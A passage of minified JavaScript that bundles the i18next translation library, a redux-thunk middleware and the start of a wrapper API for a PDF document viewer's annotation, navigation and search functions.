n=this,r=this.getRule(e);if(r){var o=r.noAbs?r.plurals(t):r.plurals(Math.abs(t)),i=r.numbers[o];this.options.simplifyPluralSuffix&&2===r.numbers.length&&1===r.numbers[0]&&(2===i?i="plural":1===i&&(i=""));var a=function(){return n.options.prepend&&i.toString()?n.options.prepend+i.toString():i.toString()};return"v1"===this.options.compatibilityJSON?1===i?"":"number"==typeof i?"_plural_".concat(i.toString()):a():"v2"===this.options.compatibilityJSON||this.options.simplifyPluralSuffix&&2===r.numbers.length&&1===r.numbers[0]?a():this.options.prepend&&o.toString()?this.options.prepend+o.toString():o.toString()}return this.logger.warn("no plural rule found for: ".concat(e)),""}}]),e}(),rt=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};xe(this,e),this.logger=je.create("interpolator"),this.options=t,this.format=t.interpolation&&t.interpolation.format||function(e){return e},this.init(t)}return Ae(e,[{key:"init",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};e.interpolation||(e.interpolation={escapeValue:!0});var t=e.interpolation;this.escape=void 0!==t.escape?t.escape:We,this.escapeValue=void 0===t.escapeValue||t.escapeValue,this.useRawValueToEscape=void 0!==t.useRawValueToEscape&&t.useRawValueToEscape,this.prefix=t.prefix?Ue(t.prefix):t.prefixEscaped||"{{",this.suffix=t.suffix?Ue(t.suffix):t.suffixEscaped||"}}",this.formatSeparator=t.formatSeparator?t.formatSeparator:t.formatSeparator||",",this.unescapePrefix=t.unescapeSuffix?"":t.unescapePrefix||"-",this.unescapeSuffix=this.unescapePrefix?"":t.unescapeSuffix||"",this.nestingPrefix=t.nestingPrefix?Ue(t.nestingPrefix):t.nestingPrefixEscaped||Ue("$t("),this.nestingSuffix=t.nestingSuffix?Ue(t.nestingSuffix):t.nestingSuffixEscaped||Ue(")"),this.nestingOptionsSeparator=t.nestingOptionsSeparator?t.nestingOptionsSeparator:t.nestingOptionsSeparator||",",this.maxReplaces=t.maxReplaces?t.maxReplaces:1e3,this.alwaysFormat=void 0!==t.alwaysFormat&&t.alwaysFormat,this.resetRegExp()}},{key:"reset",value:function(){this.options&&this.init(this.options)}},{key:"resetRegExp",value:function(){var e="".concat(this.prefix,"(.+?)").concat(this.suffix);this.regexp=new RegExp(e,"g");var t="".concat(this.prefix).concat(this.unescapePrefix,"(.+?)").concat(this.unescapeSuffix).concat(this.suffix);this.regexpUnescape=new RegExp(t,"g");var n="".concat(this.nestingPrefix,"(.+?)").concat(this.nestingSuffix);this.nestingRegexp=new RegExp(n,"g")}},{key:"interpolate",value:function(e,t,n,r){var o,i,a,l=this,s=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{};function u(e){return e.replace(/\$/g,"$$$$")}var c=function(e){if(e.indexOf(l.formatSeparator)<0){var o=Ve(t,s,e);return l.alwaysFormat?l.format(o,void 0,n):o}var i=e.split(l.formatSeparator),a=i.shift().trim(),u=i.join(l.formatSeparator).trim();return l.format(Ve(t,s,a),u,n,r)};this.resetRegExp();var f=r&&r.missingInterpolationHandler||this.options.missingInterpolationHandler,d=r&&r.interpolation&&r.interpolation.skipOnVariables||this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:function(e){return u(e)}},{regex:this.regexp,safeValue:function(e){return l.escapeValue?u(l.escape(e)):u(e)}}].forEach((function(t){for(a=0;o=t.regex.exec(e);){if(void 0===(i=c(o[1].trim())))if("function"==typeof f){var n=f(e,o,r);i="string"==typeof n?n:""}else{if(d){i=o[0];continue}l.logger.warn("missed to pass in variable ".concat(o[1]," for interpolating ").concat(e)),i=""}else"string"==typeof i||l.useRawValueToEscape||(i=Ne(i));if(e=e.replace(o[0],t.safeValue(i)),t.regex.lastIndex=0,++a>=l.maxReplaces)break}})),e}},{key:"nest",value:function(e,t){var n,r,o=this,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},a=Ce({},i);function l(e,t){var n=this.nestingOptionsSeparator;if(e.indexOf(n)<0)return e;var r=e.split(new RegExp("".concat(n,"[ ]*{"))),o="{".concat(r[1]);e=r[0],o=(o=this.interpolate(o,a)).replace(/'/g,'"');try{a=JSON.parse(o),t&&(a=Ce({},t,a))}catch(t){return this.logger.warn("failed parsing options string in nesting for key ".concat(e),t),"".concat(e).concat(n).concat(o)}return delete a.defaultValue,e}for(a.applyPostProcessor=!1,delete a.defaultValue;n=this.nestingRegexp.exec(e);){var s=[],u=!1;if(n[0].includes(this.formatSeparator)&&!/{.*}/.test(n[1])){var c=n[1].split(this.formatSeparator).map((function(e){return e.trim()}));n[1]=c.shift(),s=c,u=!0}if((r=t(l.call(this,n[1].trim(),a),a))&&n[0]===e&&"string"!=typeof r)return r;"string"!=typeof r&&(r=Ne(r)),r||(this.logger.warn("missed to resolve ".concat(n[1]," for nesting ").concat(e)),r=""),u&&(r=s.reduce((function(e,t){return o.format(e,t,i.lng,i)}),r.trim())),e=e.replace(n[0],r),this.regexp.lastIndex=0}return e}}]),e}();var ot=function(e){function t(e,n,r){var o,i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};return xe(this,t),o=Te(this,ke(t).call(this)),qe&&Le.call(_e(o)),o.backend=e,o.store=n,o.services=r,o.languageUtils=r.languageUtils,o.options=i,o.logger=je.create("backendConnector"),o.state={},o.queue=[],o.backend&&o.backend.init&&o.backend.init(r,i.backend,i),o}return Me(t,e),Ae(t,[{key:"queueLoad",value:function(e,t,n,r){var o=this,i=[],a=[],l=[],s=[];return e.forEach((function(e){var r=!0;t.forEach((function(t){var l="".concat(e,"|").concat(t);!n.reload&&o.store.hasResourceBundle(e,t)?o.state[l]=2:o.state[l]<0||(1===o.state[l]?a.indexOf(l)<0&&a.push(l):(o.state[l]=1,r=!1,a.indexOf(l)<0&&a.push(l),i.indexOf(l)<0&&i.push(l),s.indexOf(t)<0&&s.push(t)))})),r||l.push(e)})),(i.length||a.length)&&this.queue.push({pending:a,loaded:{},errors:[],callback:r}),{toLoad:i,pending:a,toLoadLanguages:l,toLoadNamespaces:s}}},{key:"loaded",value:function(e,t,n){var r=e.split("|"),o=r[0],i=r[1];t&&this.emit("failedLoading",o,i,t),n&&this.store.addResourceBundle(o,i,n),this.state[e]=t?-1:2;var a={};this.queue.forEach((function(n){var r,l,s,u,c,f;r=n.loaded,l=i,u=Fe(r,[o],Object),c=u.obj,f=u.k,c[f]=c[f]||[],s&&(c[f]=c[f].concat(l)),s||c[f].push(l),function(e,t){for(var n=e.indexOf(t);-1!==n;)e.splice(n,1),n=e.indexOf(t)}(n.pending,e),t&&n.errors.push(t),0!==n.pending.length||n.done||(Object.keys(n.loaded).forEach((function(e){a[e]||(a[e]=[]),n.loaded[e].length&&n.loaded[e].forEach((function(t){a[e].indexOf(t)<0&&a[e].push(t)}))})),n.done=!0,n.errors.length?n.callback(n.errors):n.callback())})),this.emit("loaded",a),this.queue=this.queue.filter((function(e){return!e.done}))}},{key:"read",value:function(e,t,n){var r=this,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,i=arguments.length>4&&void 0!==arguments[4]?arguments[4]:350,a=arguments.length>5?arguments[5]:void 0;return e.length?this.backend[n](e,t,(function(l,s){l&&s&&o<5?setTimeout((function(){r.read.call(r,e,t,n,o+1,2*i,a)}),i):a(l,s)})):a(null,{})}},{key:"prepareLoading",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},o=arguments.length>3?arguments[3]:void 0;if(!this.backend)return this.logger.warn("No backend was added via i18next.use. Will not load resources."),o&&o();"string"==typeof e&&(e=this.languageUtils.toResolveHierarchy(e)),"string"==typeof t&&(t=[t]);var i=this.queueLoad(e,t,r,o);if(!i.toLoad.length)return i.pending.length||o(),null;i.toLoad.forEach((function(e){n.loadOne(e)}))}},{key:"load",value:function(e,t,n){this.prepareLoading(e,t,{},n)}},{key:"reload",value:function(e,t,n){this.prepareLoading(e,t,{reload:!0},n)}},{key:"loadOne",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",r=e.split("|"),o=r[0],i=r[1];this.read(o,i,"read",void 0,void 0,(function(r,a){r&&t.logger.warn("".concat(n,"loading namespace ").concat(i," for language ").concat(o," failed"),r),!r&&a&&t.logger.log("".concat(n,"loaded namespace ").concat(i," for language ").concat(o),a),t.loaded(e,r,a)}))}},{key:"saveMissing",value:function(e,t,n,r,o){var i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{};this.services.utils&&this.services.utils.hasLoadedNamespace&&!this.services.utils.hasLoadedNamespace(t)?this.logger.warn('did not save key "'.concat(n,'" as the namespace "').concat(t,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!"):null!=n&&""!==n&&(this.backend&&this.backend.create&&this.backend.create(e,t,n,r,null,Ce({},i,{isUpdate:o})),e&&e[0]&&this.store.addResource(e[0],t,n,r))}}]),t}(Le);function it(){return{debug:!1,initImmediate:!0,ns:["translation"],defaultNS:["translation"],fallbackLng:["dev"],fallbackNS:!1,whitelist:!1,nonExplicitWhitelist:!1,supportedLngs:!1,nonExplicitSupportedLngs:!1,load:"all",preload:!1,simplifyPluralSuffix:!0,keySeparator:".",nsSeparator:":",pluralSeparator:"_",contextSeparator:"_",partialBundledLanguages:!1,saveMissing:!1,updateMissing:!1,saveMissingTo:"fallback",saveMissingPlurals:!0,missingKeyHandler:!1,missingInterpolationHandler:!1,postProcess:!1,postProcessPassResolved:!1,returnNull:!0,returnEmptyString:!0,returnObjects:!1,joinArrays:!1,returnedObjectHandler:!1,parseMissingKeyHandler:!1,appendNamespaceToMissingKey:!1,appendNamespaceToCIMode:!1,overloadTranslationOptionHandler:function(e){var t={};if("object"===Ee(e[1])&&(t=e[1]),"string"==typeof e[1]&&(t.defaultValue=e[1]),"string"==typeof e[2]&&(t.tDescription=e[2]),"object"===Ee(e[2])||"object"===Ee(e[3])){var n=e[3]||e[2];Object.keys(n).forEach((function(e){t[e]=n[e]}))}return t},interpolation:{escapeValue:!0,format:function(e,t,n,r){return e},prefix:"{{",suffix:"}}",formatSeparator:",",unescapePrefix:"-",nestingPrefix:"$t(",nestingSuffix:")",nestingOptionsSeparator:",",maxReplaces:1e3,skipOnVariables:!1}}}function at(e){return"string"==typeof e.ns&&(e.ns=[e.ns]),"string"==typeof e.fallbackLng&&(e.fallbackLng=[e.fallbackLng]),"string"==typeof e.fallbackNS&&(e.fallbackNS=[e.fallbackNS]),e.whitelist&&(e.whitelist&&e.whitelist.indexOf("cimode")<0&&(e.whitelist=e.whitelist.concat(["cimode"])),e.supportedLngs=e.whitelist),e.nonExplicitWhitelist&&(e.nonExplicitSupportedLngs=e.nonExplicitWhitelist),e.supportedLngs&&e.supportedLngs.indexOf("cimode")<0&&(e.supportedLngs=e.supportedLngs.concat(["cimode"])),e}function lt(){}var st=new(function(e){function t(){var e,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=arguments.length>1?arguments[1]:void 0;if(xe(this,t),e=Te(this,ke(t).call(this)),qe&&Le.call(_e(e)),e.options=at(n),e.services={},e.logger=je,e.modules={external:[]},r&&!e.isInitialized&&!n.isClone){if(!e.options.initImmediate)return e.init(n,r),Te(e,_e(e));setTimeout((function(){e.init(n,r)}),0)}return e}return Me(t,e),Ae(t,[{key:"init",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;function r(e){return e?"function"==typeof e?new e:e:null}if("function"==typeof t&&(n=t,t={}),t.whitelist&&!t.supportedLngs&&this.logger.deprecate("whitelist",'option "whitelist" will be renamed to "supportedLngs" in the next major - please make sure to rename this option asap.'),t.nonExplicitWhitelist&&!t.nonExplicitSupportedLngs&&this.logger.deprecate("whitelist",'options "nonExplicitWhitelist" will be renamed to "nonExplicitSupportedLngs" in the next major - please make sure to rename this option asap.'),this.options=Ce({},it(),this.options,at(t)),this.format=this.options.interpolation.format,n||(n=lt),!this.options.isClone){this.modules.logger?je.init(r(this.modules.logger),this.options):je.init(null,this.options);var o=new Qe(this.options);this.store=new Ze(this.options.resources,this.options);var i=this.services;i.logger=je,i.resourceStore=this.store,i.languageUtils=o,i.pluralResolver=new nt(o,{prepend:this.options.pluralSeparator,compatibilityJSON:this.options.compatibilityJSON,simplifyPluralSuffix:this.options.simplifyPluralSuffix}),i.interpolator=new rt(this.options),i.utils={hasLoadedNamespace:this.hasLoadedNamespace.bind(this)},i.backendConnector=new ot(r(this.modules.backend),i.resourceStore,i,this.options),i.backendConnector.on("*",(function(t){for(var n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];e.emit.apply(e,[t].concat(r))})),this.modules.languageDetector&&(i.languageDetector=r(this.modules.languageDetector),i.languageDetector.init(i,this.options.detection,this.options)),this.modules.i18nFormat&&(i.i18nFormat=r(this.modules.i18nFormat),i.i18nFormat.init&&i.i18nFormat.init(this)),this.translator=new Ke(this.services,this.options),this.translator.on("*",(function(t){for(var n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];e.emit.apply(e,[t].concat(r))})),this.modules.external.forEach((function(t){t.init&&t.init(e)}))}if(this.options.fallbackLng&&!this.services.languageDetector&&!this.options.lng){var a=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);a.length>0&&"dev"!==a[0]&&(this.options.lng=a[0])}this.services.languageDetector||this.options.lng||this.logger.warn("init: no languageDetector is used and no lng is defined");var l=["getResource","hasResourceBundle","getResourceBundle","getDataByLanguage"];l.forEach((function(t){e[t]=function(){var n;return(n=e.store)[t].apply(n,arguments)}}));var s=["addResource","addResources","addResourceBundle","removeResourceBundle"];s.forEach((function(t){e[t]=function(){var n;return(n=e.store)[t].apply(n,arguments),e}}));var u=Ie(),c=function(){var t=function(t,r){e.isInitialized&&e.logger.warn("init: i18next is already initialized. You should call init just once!"),e.isInitialized=!0,e.options.isClone||e.logger.log("initialized",e.options),e.emit("initialized",e.options),u.resolve(r),n(t,r)};if(e.languages&&"v1"!==e.options.compatibilityAPI&&!e.isInitialized)return t(null,e.t.bind(e));e.changeLanguage(e.options.lng,t)};return this.options.resources||!this.options.initImmediate?c():setTimeout(c,0),u}},{key:"loadResources",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:lt,r=n,o="string"==typeof e?e:this.language;if("function"==typeof e&&(r=e),!this.options.resources||this.options.partialBundledLanguages){if(o&&"cimode"===o.toLowerCase())return r();var i=[],a=function(e){e&&t.services.languageUtils.toResolveHierarchy(e).forEach((function(e){i.indexOf(e)<0&&i.push(e)}))};if(o)a(o);else{var l=this.services.languageUtils.getFallbackCodes(this.options.fallbackLng);l.forEach((function(e){return a(e)}))}this.options.preload&&this.options.preload.forEach((function(e){return a(e)})),this.services.backendConnector.load(i,this.options.ns,r)}else r(null)}},{key:"reloadResources",value:function(e,t,n){var r=Ie();return e||(e=this.languages),t||(t=this.options.ns),n||(n=lt),this.services.backendConnector.reload(e,t,(function(e){r.resolve(),n(e)})),r}},{key:"use",value:function(e){if(!e)throw new Error("You are passing an undefined module! Please check the object you are passing to i18next.use()");if(!e.type)throw new Error("You are passing a wrong module! Please check the object you are passing to i18next.use()");return"backend"===e.type&&(this.modules.backend=e),("logger"===e.type||e.log&&e.warn&&e.error)&&(this.modules.logger=e),"languageDetector"===e.type&&(this.modules.languageDetector=e),"i18nFormat"===e.type&&(this.modules.i18nFormat=e),"postProcessor"===e.type&&Ye.addPostProcessor(e),"3rdParty"===e.type&&this.modules.external.push(e),this}},{key:"changeLanguage",value:function(e,t){var n=this;this.isLanguageChangingTo=e;var r=Ie();this.emit("languageChanging",e);var o=function(e){var o="string"==typeof e?e:n.services.languageUtils.getBestMatchFromCodes(e);o&&(n.language||(n.language=o,n.languages=n.services.languageUtils.toResolveHierarchy(o)),n.translator.language||n.translator.changeLanguage(o),n.services.languageDetector&&n.services.languageDetector.cacheUserLanguage(o)),n.loadResources(o,(function(e){!function(e,o){o?(n.language=o,n.languages=n.services.languageUtils.toResolveHierarchy(o),n.translator.changeLanguage(o),n.isLanguageChangingTo=void 0,n.emit("languageChanged",o),n.logger.log("languageChanged",o)):n.isLanguageChangingTo=void 0,r.resolve((function(){return n.t.apply(n,arguments)})),t&&t(e,(function(){return n.t.apply(n,arguments)}))}(e,o)}))};return e||!this.services.languageDetector||this.services.languageDetector.async?!e&&this.services.languageDetector&&this.services.languageDetector.async?this.services.languageDetector.detect(o):o(e):o(this.services.languageDetector.detect()),r}},{key:"getFixedT",value:function(e,t){var n=this,r=function e(t,r){var o;if("object"!==Ee(r)){for(var i=arguments.length,a=new Array(i>2?i-2:0),l=2;l<i;l++)a[l-2]=arguments[l];o=n.options.overloadTranslationOptionHandler([t,r].concat(a))}else o=Ce({},r);return o.lng=o.lng||e.lng,o.lngs=o.lngs||e.lngs,o.ns=o.ns||e.ns,n.t(t,o)};return"string"==typeof e?r.lng=e:r.lngs=e,r.ns=t,r}},{key:"t",value:function(){var e;return this.translator&&(e=this.translator).translate.apply(e,arguments)}},{key:"exists",value:function(){var e;return this.translator&&(e=this.translator).exists.apply(e,arguments)}},{key:"setDefaultNamespace",value:function(e){this.options.defaultNS=e}},{key:"hasLoadedNamespace",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!this.isInitialized)return this.logger.warn("hasLoadedNamespace: i18next was not initialized",this.languages),!1;if(!this.languages||!this.languages.length)return this.logger.warn("hasLoadedNamespace: i18n.languages were undefined or empty",this.languages),!1;var r=this.languages[0],o=!!this.options&&this.options.fallbackLng,i=this.languages[this.languages.length-1];if("cimode"===r.toLowerCase())return!0;var a=function(e,n){var r=t.services.backendConnector.state["".concat(e,"|").concat(n)];return-1===r||2===r};if(n.precheck){var l=n.precheck(this,a);if(void 0!==l)return l}return!!this.hasResourceBundle(r,e)||(!this.services.backendConnector.backend||!(!a(r,e)||o&&!a(i,e)))}},{key:"loadNamespaces",value:function(e,t){var n=this,r=Ie();return this.options.ns?("string"==typeof e&&(e=[e]),e.forEach((function(e){n.options.ns.indexOf(e)<0&&n.options.ns.push(e)})),this.loadResources((function(e){r.resolve(),t&&t(e)})),r):(t&&t(),Promise.resolve())}},{key:"loadLanguages",value:function(e,t){var n=Ie();"string"==typeof e&&(e=[e]);var r=this.options.preload||[],o=e.filter((function(e){return r.indexOf(e)<0}));return o.length?(this.options.preload=r.concat(o),this.loadResources((function(e){n.resolve(),t&&t(e)})),n):(t&&t(),Promise.resolve())}},{key:"dir",value:function(e){if(e||(e=this.languages&&this.languages.length>0?this.languages[0]:this.language),!e)return"rtl";return["ar","shu","sqr","ssh","xaa","yhd","yud","aao","abh","abv","acm","acq","acw","acx","acy","adf","ads","aeb","aec","afb","ajp","apc","apd","arb","arq","ars","ary","arz","auz","avl","ayh","ayl","ayn","ayp","bbz","pga","he","iw","ps","pbt","pbu","pst","prp","prd","ug","ur","ydd","yds","yih","ji","yi","hbo","men","xmn","fa","jpr","peo","pes","prs","dv","sam"].indexOf(this.services.languageUtils.getLanguagePartFromCode(e))>=0?"rtl":"ltr"}},{key:"createInstance",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;return new t(e,n)}},{key:"cloneInstance",value:function(){var e=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:lt,o=Ce({},this.options,n,{isClone:!0}),i=new t(o),a=["store","services","language"];return a.forEach((function(t){i[t]=e[t]})),i.services=Ce({},this.services),i.services.utils={hasLoadedNamespace:i.hasLoadedNamespace.bind(i)},i.translator=new Ke(i.services,i.options),i.translator.on("*",(function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];i.emit.apply(i,[e].concat(n))})),i.init(o,r),i.translator.options=i.options,i.translator.backendConnector.services.utils={hasLoadedNamespace:i.hasLoadedNamespace.bind(i)},i}}]),t}(Le));function ut(e){return function(t){var n=t.dispatch,r=t.getState;return function(t){return function(o){return"function"==typeof o?o(n,r,e):t(o)}}}}var ct=ut();ct.withExtraArgument=ut;var ft=ct,dt=n(1327),pt=n(153),ht=function(){return window.documentViewer.getAnnotationManager()};var mt=function(){var e=window.documentViewer.getAnnotationManager(),t=window.documentViewer.getAnnotationHistoryManager(),n=e.getEditBoxManager(),r=e.getFormFieldCreationManager(),o=window.documentViewer.getMeasurementManager();return{signatureSaved:window.documentViewer,signatureDeleted:window.documentViewer,annotationsLoaded:window.documentViewer,click:window.documentViewer,dblClick:window.documentViewer,displayPageLocation:window.documentViewer,keyDown:window.documentViewer,keyUp:window.documentViewer,mouseEnter:window.documentViewer,mouseLeave:window.documentViewer,mouseLeftDown:window.documentViewer,mouseLeftUp:window.documentViewer,mouseMove:window.documentViewer,mouseRightDown:window.documentViewer,mouseRightUp:window.documentViewer,pageComplete:window.documentViewer,readOnlyModeChanged:window.documentViewer,searchInProgress:window.documentViewer,activeSearchResultChanged:window.documentViewer,searchResultsChanged:window.documentViewer,textSelected:window.documentViewer,beginRendering:window.documentViewer,finishedRendering:window.documentViewer,beforeDocumentLoaded:window.documentViewer,displayModeUpdated:window.documentViewer,documentLoaded:window.documentViewer,documentUnloaded:window.documentViewer,fitModeUpdated:window.documentViewer,rotationUpdated:window.documentViewer,toolUpdated:window.documentViewer,toolModeUpdated:window.documentViewer,zoomUpdated:window.documentViewer,pageNumberUpdated:window.documentViewer,pagesUpdated:window.documentViewer,"fitModeUpdated.fitbutton":window.documentViewer,historyChanged:t,annotationSelected:e,annotationChanged:e,updateAnnotationPermission:e,addReply:e,deleteReply:e,annotationHidden:e,annotationDoubleClicked:e,annotationFiltered:e,annotationToggled:e,fieldChanged:e,notify:e,setNoteText:e,fileAttachmentDataAvailable:e,digitalSignatureAvailable:e,editorFocus:n,editorBlur:n,editorTextChanged:n,editorSelectionChanged:n,formFieldCreationModeStarted:r,formFieldCreationModeEnded:r,scaleUpdated:o}};function gt(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}var vt={setToolMode:function(e){window.documentViewer.setToolMode(window.documentViewer.getTool(e))},getToolMode:function(){return window.documentViewer.getToolMode()},getTool:function(e){return window.documentViewer.getTool(e)},setDisplayMode:function(e){var t=window.documentViewer.getDisplayModeManager(),n=t.isVirtualDisplayEnabled()?new window.Core.VirtualDisplayMode(window.documentViewer,e):new window.Core.DisplayMode(window.documentViewer,e);t.setDisplayMode(n)},getDisplayMode:function(){return window.documentViewer.getDisplayModeManager().getDisplayMode().mode},rotateClockwise:function(){window.documentViewer.rotateClockwise()},rotateCounterClockwise:function(){window.documentViewer.rotateCounterClockwise()},rotatePages:function(e,t){return window.documentViewer.getDocument().rotatePages(e,t)},movePages:function(e,t){return window.documentViewer.getDocument().movePages(e,t)},removePages:function(e){return window.documentViewer.getDocument().removePages(e)},getFitMode:function(){return window.documentViewer.getFitMode()},fitToPage:function(){window.documentViewer.setFitMode(window.documentViewer.FitMode.FitPage)},fitToWidth:function(){window.documentViewer.setFitMode(window.documentViewer.FitMode.FitWidth)},fitToHeight:function(){window.documentViewer.setFitMode(window.documentViewer.FitMode.FitHeight)},fitToZoom:function(){window.documentViewer.setFitMode(window.documentViewer.FitMode.Zoom)},zoomToMouse:function(e){var t,n,r,o=(null===(t=document.querySelector("[data-element=leftPanel]:not(.closed)"))||void 0===t?void 0:t.offsetWidth)||0,i=((null===(n=document.querySelector("[data-element=header]"))||void 0===n?void 0:n.offsetHeight)||0)+((null===(r=document.querySelector("[data-element=toolsHeader]"))||void 0===r?void 0:r.offsetHeight)||0);window.documentViewer.zoomToMouse(e,o,i)},getZoom:function(){return window.documentViewer.getZoomLevel()},zoomTo:function(e,t,n){window.documentViewer.zoomTo(e,t,n)},getDocumentViewer:function(){return window.documentViewer},getAnnotationManager:ht,getTotalPages:function(){return window.documentViewer.getPageCount()},getCurrentPage:function(){return window.documentViewer.getCurrentPage()},setCurrentPage:function(e){window.documentViewer.setCurrentPage(e)},getType:function(){return window.documentViewer.getDocument().getType()},isWebViewerServerDocument:function(){return window.documentViewer.getDocument().isWebViewerServerDocument()},getSelectedText:function(){return window.documentViewer.getSelectedText()},clearSelection:function(){window.documentViewer.clearSelection()},closeDocument:function(){return window.documentViewer.closeDocument()},getToolModeMap:function(){return window.documentViewer.getToolModeMap()},getCurrentUser:function(){return window.documentViewer.getAnnotationManager().getCurrentUser()},getIsAdminUser:function(){return window.documentViewer.getAnnotationManager().isUserAdmin()},setIsAdminUser:function(e){e?window.documentViewer.getAnnotationManager().promoteUserToAdmin():window.documentViewer.getAnnotationManager().demoteUserFromAdmin()},exportAnnotations:function(e){return window.documentViewer.getAnnotationManager().exportAnnotations(e)},setCurrentUser:function(e){window.documentViewer.getAnnotationManager().setCurrentUser(e)},setReadOnly:function(e){e?(window.documentViewer.getAnnotationManager().enableReadOnlyMode(),window.documentViewer.enableReadOnlyMode()):(window.documentViewer.getAnnotationManager().disableReadOnlyMode(),window.documentViewer.disableReadOnlyMode())},setScrollViewElement:function(e){window.documentViewer.setScrollViewElement(e)},setViewerElement:function(e){window.documentViewer.setViewerElement(e)},isContinuousDisplayMode:function(){return window.documentViewer.getDisplayModeManager().getDisplayMode().isContinuous()},isScrollableDisplayMode:function(){return window.documentViewer.getDisplayModeManager().getDisplayMode().IsScrollable()},scrollViewUpdated:function(){window.documentViewer.scrollViewUpdated()},canModify:function(e){return window.documentViewer.getAnnotationManager().canModify(e)},canModifyContents:function(e){return window.documentViewer.getAnnotationManager().canModifyContents(e)},deleteAnnotations:function(){var e;(e=window.documentViewer.getAnnotationManager()).deleteAnnotations.apply(e,arguments)},getDisplayAuthor:function(e){return window.documentViewer.getAnnotationManager().getDisplayAuthor(e)},getDocument:function(){return window.documentViewer.getDocument()},getCompleteRotation:function(e){return window.documentViewer.getCompleteRotation(e)},getRotation:function(e){return window.documentViewer.getRotation(e)},getPageInfo:function(e){return window.documentViewer.getDocument().getPageInfo(e)},clearSearchResults:function(){window.documentViewer.clearSearchResults()},getPageSearchResults:function(e){return window.documentViewer.getPageSearchResults(e)},displayAdditionalSearchResult:function(e){window.documentViewer.displayAdditionalSearchResult(e)},displayAdditionalSearchResults:function(e){window.documentViewer.displayAdditionalSearchResults(e)},getActiveSearchResult:function(){return window.documentViewer.getActiveSearchResult()},setActiveSearchResult:function(e){window.documentViewer.setActiveSearchResult(e)},textSearchInit:function(e,t,n,r){window.documentViewer.textSearchInit(e,t,n,r)},displaySearchResult:function(e){window.documentViewer.displaySearchResult(e)},getSearchMode:function(){return window.Core.Search.Mode},getPageWidth:function(e){return window.documentViewer.getPageWidth(e)},getPageHeight:function(e){return window.documentViewer.getPageHeight(e)},drawAnnotations:function(e,t,n,r){return window.documentViewer.getAnnotationManager().drawAnnotations(e,t,n,r)},getOutlines:function(e){window.documentViewer.getDocument().getBookmarks().then((function(t){e(t)}))},getSelectedAnnotations:function(){return window.documentViewer.getAnnotationManager().getSelectedAnnotations()},updateCopiedAnnotations:function(){window.documentViewer.getAnnotationManager().updateCopiedAnnotations()},pasteCopiedAnnotations:function(){window.documentViewer.getAnnotationManager().pasteCopiedAnnotations()},selectAnnotation:function(e){window.documentViewer.getAnnotationManager().selectAnnotation(e)},selectAnnotations:function(e){window.documentViewer.getAnnotationManager().selectAnnotations(e)},addAnnotations:function(e){window.documentViewer.getAnnotationManager().addAnnotations(e)},applyRedactions:function(e){return window.documentViewer.getAnnotationManager().applyRedactions(e)},isCreateRedactionEnabled:function(){return window.documentViewer.getAnnotationManager().isCreateRedactionEnabled()},isApplyRedactionEnabled:function(){return window.documentViewer.getAnnotationManager().isApplyRedactionEnabled()},isAnnotationRedactable:function(e){return window.documentViewer.getAnnotationManager().isAnnotationRedactable(e)},enableRedaction:function(e){e?window.documentViewer.getAnnotationManager().enableRedaction():window.documentViewer.getAnnotationManager().disableRedaction()},drawAnnotationsFromList:function(e){window.documentViewer.getAnnotationManager().drawAnnotationsFromList(e)},setInternalAnnotationsTransform:function(e){window.documentViewer.setInternalAnnotationsTransform(e)},setPagesUpdatedInternalAnnotationsTransform:function(e){window.documentViewer.setPagesUpdatedInternalAnnotationsTransform(e)},loadThumbnailAsync:function(e,t){return window.documentViewer.getDocument().loadThumbnail(e,(function(e){t(e)}))},loadAsync:function(e,t){window.documentViewer.loadAsync(e,t)},loadDocument:function(){var e;return(e=window.documentViewer).loadDocument.apply(e,arguments)},getSelectedTextQuads:function(){return window.documentViewer.getSelectedTextQuads()},getDisplayModeObject:function(){return window.documentViewer.getDisplayModeManager().getDisplayMode()},getScrollViewElement:function(){return window.documentViewer.getScrollViewElement()},getAnnotationById:function(e){return window.documentViewer.getAnnotationManager().getAnnotationById(e)},isFullPDFEnabled:function(){return window.Core.isFullPDFEnabled()},isBlendModeSupported:function(e){return window.Core.isBlendModeSupported(e)},isAnnotationSelected:function(e){return window.documentViewer.getAnnotationManager().isAnnotationSelected(e)},setAnnotationStyles:function(e,t){window.documentViewer.getAnnotationManager().setAnnotationStyles(e,t)},deselectAnnotation:function(e){window.documentViewer.getAnnotationManager().deselectAnnotation(e)},deselectAllAnnotations:function(){window.documentViewer.getAnnotationManager().deselectAllAnnotations()},jumpToAnnotation:function(e){window.documentViewer.getAnnotationManager().jumpToAnnotation(e)},insertBlankPages:function(e,t,n){return 